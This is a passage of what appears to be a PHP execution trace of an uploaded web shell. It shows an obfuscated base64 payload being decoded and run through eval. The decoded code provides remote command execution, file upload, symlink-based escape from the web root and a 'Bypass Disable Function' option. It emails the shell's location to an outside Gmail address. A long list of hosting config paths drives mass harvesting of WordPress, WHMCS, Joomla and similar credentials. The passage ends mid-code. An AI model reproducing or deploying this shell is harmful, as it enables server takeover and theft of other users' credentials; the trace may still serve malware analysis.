color=\"red\">Indonesian Hacker Community</font></br>\r\n\r\n</body>\r\n</html>';\r\nfunction perms(\$file){\r\n\$perms = fileperms(\$file);\r\n\r\nif ((\$perms & 0xC000) == 0xC000) {\r\n// Socket\r\n\$info = 's';\r\n} elseif ((\$perms & 0xA000) == 0xA000) {\r\n// Symbolic Link\r\n\$info = 'l';\r\n} elseif ((\$perms & 0x8000) == 0x8000) {\r\n// Regular\r\n\$info = '-';\r\n} elseif ((\$perms & 0x6000) == 0x6000) {\r\n// Block special\r\n\$info = 'b';\r\n} elseif ((\$perms & 0x4000) == 0x4000) {\r\n// Directory\r\n\$info = 'd';\r\n} elseif ((\$perms & 0x2000) == 0x2000) {\r\n// Character special\r\n\$info = 'c';\r\n} elseif ((\$perms & 0x1000) == 0x1000) {\r\n// FIFO pipe\r\n\$info = 'p';\r\n} else {\r\n// Unknown\r\n\$info = 'u';\r\n}\r\n\r\n// Owner\r\n\$info .= ((\$perms & 0x0100) ? 'r' : '-');\r\n\$info .= ((\$perms & 0x0080) ? 'w' : '-');\r\n\$info .= ((\$perms & 0x0040) ?\r\n((\$perms & 0x0800) ? 's' : 'x' ) :\r\n((\$perms & 0x0800) ? 'S' : '-'));\r\n\r\n// Group\r\n\$info .= ((\$perms & 0x0020) ? 'r' : '-');\r\n\$info .= ((\$perms & 0x0010) ? 'w' : '-');\r\n\$info .= ((\$perms & 0x0008) ?\r\n((\$perms & 0x0400) ? 's' : 'x' ) :\r\n((\$perms & 0x0400) ? 'S' : '-'));\r\n\r\n// World\r\n\$info .= ((\$perms & 0x0004) ? 'r' : '-');\r\n\$info .= ((\$perms & 0x0002) ? 'w' : '-');\r\n\$info .= ((\$perms & 0x0001) ?\r\n((\$perms & 0x0200) ? 't' : 'x' ) :\r\n((\$perms & 0x0200) ? 'T' : '-'));\r\n\r\nreturn \$info;\r\n}");

Execution traces

data/traces/b6f9684acc7268ddf4627e64460bb302_trace-1676240441.392.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:21:07.289809]
1	0	1	0.000155	393512
1	3	0	0.000347	448792	{main}	1		/var/www/html/uploads/titit.php	0	0
1		A						/var/www/html/uploads/titit.php	88	$code = 'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFp'
2	4	0	0.000425	448792	base64_decode	0		/var/www/html/uploads/titit.php	89	1	'QGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsNCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOw0Kc2V0X3RpbWVfbGltaXQoMCk7DQppbmlfc2V0KCdtZW1vcnlfbGltaXQnLCAnNjRNJyk7DQpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7DQokdHVqdWFubWFpbCA9ICdzYXR5YWFqaTE5NDVAZ21haWwuY29tJzsNCiR4X3BhdGggPSAiaHR0cDovLyIgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSAuICRfU0VSVkVSWydSRVFVRVNUX1VSSSddOw0KJHBlc2FuX2FsZXJ0ID0gImZpeCAkeF9wYXRoIDpwICpJUCBBZGRyZXNzIDogWyAiIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAiIF0iOw0KbWFpbCgkdHVqdWFubWFp'
2	4	1	0.000606	502072
2	4	R			'@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nset_time_limit(0);\r\nini_set(\'memory_limit\', \'64M\');\r\nheader(\'Content-Type: text/html; charset=UTF-8\');\r\n$tujuanmail = \'satyaaji1945@gmail.com\';\r\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\r\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\r\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\r\nset_time_limit(0);\r\n'
2	5	0	0.001625	707568	eval	1	'@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\nset_time_limit(0);\r\nini_set(\'memory_limit\', \'64M\');\r\nheader(\'Content-Type: text/html; charset=UTF-8\');\r\n$tujuanmail = \'satyaaji1945@gmail.com\';\r\n$x_path = "http://" . $_SERVER[\'SERVER_NAME\'] . $_SERVER[\'REQUEST_URI\'];\r\n$pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER[\'REMOTE_ADDR\'] . " ]";\r\nmail($tujuanmail, "LOGGER", $pesan_alert, "[ " . $_SERVER[\'REMOTE_ADDR\'] . " ]");\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n\r\n//function\r\nfunction ambilKata($param, $kata1, $kata2){\r\n    if(strpos($param, $kata1) === FALSE) return FALSE;\r\n    if(strpos($param, $kata2) === FALSE) return FALSE;\r\n    $start = strpos($param, $kata1) + strlen($kata1);\r\n    $end = strpos($param, $kata2, $start);\r\n    $return = substr($param, $start, $end - $start);\r\n    return $return;\r\n}\r\nif(get_magic_quotes_gpc()) {\r\n    function idx_ss($array) {\r\nreturn is_array($array) ? array_map(\'idx_ss\', $array) : stripslashes($array);\r\n    }\r\n    $_POST = idx_ss($_POST);\r\n}\r\n\r\nfunction exe($cmd) {\r\n    if(function_exists(\'system\')) {        \r\n@ob_start();       \r\n@system($cmd);     \r\n$buff = @ob_get_contents();        \r\n@ob_end_clean();       \r\nreturn $buff;  \r\n    } elseif(function_exists(\'exec\')) {        \r\n@exec($cmd,$results);      \r\n$buff = "";        \r\nforeach($results as $result) {         \r\n    $buff .= $result;      \r\n} return $buff;    \r\n    } elseif(function_exists(\'passthru\')) {        \r\n@ob_start();       \r\n@passthru($cmd);       \r\n$buff = @ob_get_contents();        \r\n@ob_end_clean();       \r\nreturn $buff;  \r\n    } elseif(function_exists(\'shell_exec\')) {      \r\n$buff = @shell_exec($cmd);     \r\nreturn $buff;  \r\n    }\r\n}\r\n\r\n//check dir\r\n$nick = "k0v3T";\r\nif(isset($_GET[\'path\'])){\r\n$path = $_GET[\'path\'];\r\n}else{\r\n$path = getcwd();\r\n}\r\n$software = getenv("SERVER_SOFTWARE");\r\n$path = str_replace(\'\\\\\',\'/\',$path);\r\n$paths = explode(\'/\',$path);\r\n\r\n\r\n////////////////////////////////////////\r\n\r\nif(!function_exists(\'posix_getegid\')) {\r\n    $user = @get_current_user();\r\n    $uid = @getmyuid();\r\n    $gid = @getmygid();\r\n    $group = "?";\r\n} else {\r\n    $uid = @posix_getpwuid(posix_geteuid());\r\n    $gid = @posix_getgrgid(posix_getegid());\r\n    $user = $uid[\'name\'];\r\n    $uid = $uid[\'uid\'];\r\n    $group = $gid[\'name\'];\r\n    $gid = $gid[\'gid\'];\r\n} \r\n//uname\r\necho "<br><b><i><center><font color=#5ddcfc size=3>Current Dir : </font>";\r\nforeach($paths as $id=>$pat){\r\nif($pat == \'\' && $id == 0){\r\n$a = true;\r\necho \'<a href="?path=/">/</a>\';\r\ncontinue;\r\n}\r\nif($pat == \'\') continue;\r\necho \'<a href="?path=\';\r\nfor($i=0;$i<=$id;$i++){\r\necho "$paths[$i]";\r\nif($i != $id) echo "/";\r\n}\r\necho \'"><font color=red size=3>\'.$pat.\'</font></a>/\';\r\n}\r\n\r\n##TOOLBAR\r\necho "<hr color=#5ddcfc>\r\n<br><center>\r\n<font size=3><a href=\'?\' class=\'tombols\'>Home</a>\r\n<font size=3><a href=\'?path=$path&a=upload\' class=\'tombols\'>Upload</a>\r\n<font size=3><a href=\'?path=$path&a=cmd\' class=\'tombols\'>Command</a>\r\n<font size=3><a href=\'?path=$path&a=configv2\' class=\'tombols\'>Config</a>\r\n<font size=3><a href=\'?path=$path&a=jumping\' class=\'tombols\'>Jumping</a>\r\n<br><br>\r\n\r\n<font size=3><a href=\'?path=$path&a=symlink\' class=\'tombols\'>Symlink</a>\r\n<font size=3><a href=\'?path=$path&a=disablefunc\' class=\'tombols\'>Bypass Disable Function</a>\r\n\r\n</center></br>\r\n<hr color=#5ddcfc><center>";\r\n\r\n//uploads\r\nif($_GET[\'a\'] == \'upload\') {\r\nif(isset($_FILES[\'file\'])){\r\nif(copy($_FILES[\'file\'][\'tmp_name\'],$path.\'/\'.$_FILES[\'file\'][\'name\'])){\r\necho \'<font color="#5ddcfc">Berhasil Upload gan!</font><br />\';\r\n}else{\r\necho \'<font color="red">Gagal Upload Gan</font><br />\';\r\n}\r\n}\r\necho \'<form enctype="multipart/form-data" method="POST"><font color="red" size="4">\r\nUpload File :<br><input type="file" name="file" />\r\n<input type="submit" value="Upload" />\r\n</form><br>\r\n</td></tr>\';\t\r\n\r\n\r\n} elseif($_GET[\'a\'] == \'configv2\') {\r\n\t\t\tif(strtolower(substr(PHP_OS, 0, 3)) == "win"){\r\necho \'<script>alert("Tidak bisa di gunakan di server windows")</script>\';\r\nexit;\r\n}\r\n\tif($_POST){\tif($_POST[\'config\'] == \'symvhosts\') {\r\n\t\t@mkdir("k0v3T_symvhosts", 0777);\r\nexe("ln -s / k0v3T_symvhosts/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any";\r\n@file_put_contents("k0v3T_symvhosts/.htaccess",$htaccess);\r\n\t\t$etc_passwd=$_POST[\'passwd\'];\r\n    \r\n    $etc_passwd=explode("\\n",$etc_passwd);\r\nforeach($etc_passwd as $passwd){\r\n$pawd=explode(":",$passwd);\r\n$user =$pawd[5];\r\n$jembod = preg_replace(\'/\\/var\\/www\\/vhosts\\//\', \'\', $user);\r\nif (preg_match(\'/vhosts/i\',$user)){\r\nexe("ln -s ".$user."/httpdocs/wp-config.php k0v3T_symvhosts/".$jembod."-Wordpress.txt");\r\nexe("ln -s ".$user."/httpdocs/configuration.php k0v3T_symvhosts/".$jembod."-Joomla.txt");\r\nexe("ln -s ".$user."/httpdocs/config/koneksi.php k0v3T_symvhosts/".$jembod."-Lokomedia.txt");\r\nexe("ln -s ".$user."/httpdocs/forum/config.php k0v3T_symvhosts/".$jembod."-phpBB.txt");\r\nexe("ln -s ".$user."/httpdocs/sites/default/settings.php k0v3T_symvhosts/".$jembod."-Drupal.txt");\r\nexe("ln -s ".$user."/httpdocs/config/settings.inc.php k0v3T_symvhosts/".$jembod."-PrestaShop.txt");\r\nexe("ln -s ".$user."/httpdocs/app/etc/local.xml k0v3T_symvhosts/".$jembod."-Magento.txt");\r\nexe("ln -s ".$user."/httpdocs/admin/config.php k0v3T_symvhosts/".$jembod."-OpenCart.txt");\r\nexe("ln -s ".$user."/httpdocs/application/config/database.php k0v3T_symvhosts/".$jembod."-Ellislab.txt"); \r\n}}}\r\nif($_POST[\'config\'] == \'symlink\') {\r\n@mkdir("k0v3T_symconfig", 0777);\r\n@symlink("/","k0v3T_symconfig/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any";\r\n@file_put_contents("k0v3T_symconfig/.htaccess",$htaccess);}\r\nif($_POST[\'config\'] == \'404\') {\r\n@mkdir("k0v3T_sym404", 0777);\r\n@symlink("/","k0v3T_sym404/root");\r\n$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nAddType text/plain .php \r\nAddHandler text/plain .php\r\nSatisfy Any\r\nIndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*\r\nIndexIgnore *.txt404\r\nRewriteEngine On\r\nRewriteCond %{REQUEST_FILENAME} ^.*k0v3T_sym404 [NC]\r\nRewriteRule \\.txt$ %{REQUEST_URI}404 [L,R=302.NC]";\r\n@file_put_contents("k0v3T_sym404/.htaccess",$htaccess);\r\n}\r\nif($_POST[\'config\'] == \'grab\') {\r\n\t\t\t\t\t\tmkdir("k0v3T_configgrab", 0777);\r\n\t\t\t\t\t\t$isi_htc = "Options all\\nRequire None\\nSatisfy Any";\r\n\t\t\t\t\t\t$htc = fopen("k0v3T_configgrab/.htaccess","w");\r\n\t\t\t\t\t\tfwrite($htc, $isi_htc);\t\r\n}\r\n$passwd = $_POST[\'passwd\'];\r\n\r\npreg_match_all(\'/(.*?):x:/\', $passwd, $user_config);\r\nforeach($user_config[1] as $user_k0v3T) {\r\n$grab_config = array(\r\n"/home/$user_k0v3T/.accesshash" => "WHM-accesshash",\r\n"/home/$user_k0v3T/public_html/config/koneksi.php" => "Lokomedia",\r\n"/home/$user_k0v3T/public_html/forum/config.php" => "phpBB",\r\n"/home/$user_k0v3T/public_html/sites/default/settings.php" => "Drupal",\r\n"/home/$user_k0v3T/public_html/config/settings.inc.php" => "PrestaShop",\r\n"/home/$user_k0v3T/public_html/app/etc/local.xml" => "Magento",\r\n"/home/$user_k0v3T/public_html/admin/config.php" => "OpenCart",\r\n"/home/$user_k0v3T/public_html/application/config/database.php" => "Ellislab",\r\n"/home/$user_k0v3T/public_html/vb/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/forum/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/forums/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/cc/includes/config.php" => "Vbulletin",\r\n"/home/$user_k0v3T/public_html/inc/config.php" => "MyBB",\r\n"/home/$user_k0v3T/public_html/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/shop/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/os/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/oscom/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/products/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/cart/includes/configure.php" => "OsCommerce",\r\n"/home/$user_k0v3T/public_html/inc/conf_global.php" => "IPB",\r\n"/home/$user_k0v3T/public_html/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wp/test/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/blog/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/beta/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/portal/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/site/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wp/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/WP/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/news/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/wordpress/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/test/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/demo/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/home/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/v1/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/v2/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/press/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/new/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/blogs/wp-config.php" => "Wordpress",\r\n"/home/$user_k0v3T/public_html/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/blog/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/submitticket.php" => "^WHMCS",\r\n"/home/$user_k0v3T/public_html/cms/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/beta/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/portal/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/site/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/main/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/home/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/demo/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/test/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/v1/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/v2/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/joomla/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/new/configuration.php" => "Joomla",\r\n"/home/$user_k0v3T/public_html/WHMCS/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs1/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/WHMC/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whmc/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whmc/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/WHM/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Whm/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/whm/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/HOST/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Host/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/host/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/SUPPORTES/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Supportes/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/supportes/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/domains/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/domain/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Hosting/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/HOSTING/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/hosting/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CART/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Cart/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/cart/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/ORDER/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Order/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/order/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Client/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/client/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENTAREA/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Clientarea/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/clientarea/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/SUPPORT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Support/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/support/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BILLING/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Billing/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/billing/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BUY/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Buy/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/buy/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/MANAGE/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Manage/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/manage/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/ClientSupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Clientsupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/clientsupport/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/CHECKOUT/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Checkout/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/checkout/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/BILLINGS/submitticket.php" => "WHMCS",\r\n"/home/$user_k0v3T/public_html/Billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BASKET/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Basket/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/basket/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/SECURE/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Secure/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/SALES/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Sales/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/sales/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BILL/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Bill/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/bill/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/PURCHASE/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Purchase/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/purchase/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/ACCOUNT/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Account/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/account/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/USER/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/User/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/user/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/CLIENTS/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Clients/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/clients/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/MY/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/My/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/my/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/whm/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/secure/whmcs/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/panel/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/clientes/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/cliente/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/support/order/submitticket.php" => "WHMCS",\r\n"/home/$user_con7ext/public_html/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/boxbilling/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/box/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/host/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/Host/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/supportes/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/support/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/hosting/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/cart/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/order/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/client/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/clients/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/cliente/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/clientes/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/billing/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/billings/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/my/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/secure/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/support/order/bb-config.php" => "BoxBilling",\r\n"/home/$user_con7ext/public_html/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/zencart/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/products/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/cart/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/shop/includes/dist-configure.php" => "Zencart",\r\n"/home/$user_con7ext/public_html/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/hostbills/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/host/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/Host/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/supportes/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/support/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/hosting/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/cart/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/order/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/client/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/clients/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/cliente/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/clientes/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/billing/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/billings/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/my/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/secure/includes/iso4217.php" => "Hostbills",\r\n"/home/$user_con7ext/public_html/support/order/includes/iso4217.php" => "Hostbills"\r\n);  \r\n\r\nforeach($grab_config as $config => $nama_config) {\r\n\tif($_POST[\'config\'] == \'grab\') {\r\n$ambil_config = file_get_contents($config);\r\nif($ambil_config == \'\') {\r\n} else {\r\n$file_config = fopen("k0v3T_configgrab/$user_k0v3T-$nama_config.txt","w");\r\nfputs($file_config,$ambil_config);\r\n}\r\n}\r\nif($_POST[\'config\'] == \'symlink\') {\r\n@symlink($config,"k0v3T_Symconfig/".$user_k0v3T."-".$nama_config.".txt");\r\n}\r\nif($_POST[\'config\'] == \'404\') {\r\n$sym404=symlink($config,"k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt");\r\nif($sym404){\r\n\t@mkdir("k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404", 0777);\r\n\t$htaccess="Options Indexes FollowSymLinks\r\nDirectoryIndex k0v3T.htm\r\nHeaderName k0v3T.txt\r\nSatisfy Any\r\nIndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble\r\nIndexIgnore *";\r\n\r\n@file_put_contents("k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404/.htaccess",$htaccess);\r\n\r\n@symlink($config,"k0v3T_sym404/".$user_k0v3T."-".$nama_config.".txt404/k0v3T.txt");\r\n\r\n\t}\r\n\r\n}\r\n\r\n                    }     \r\n\t\t}  if($_POST[\'config\'] == \'grab\') {\r\n            echo "<center><a href=\'?path=$path/k0v3T_configgrab\'><font color=lime>Done</font></a></center>";\r\n\t\t}\r\n    if($_POST[\'config\'] == \'404\') {\r\n        echo "<center>\r\n<a 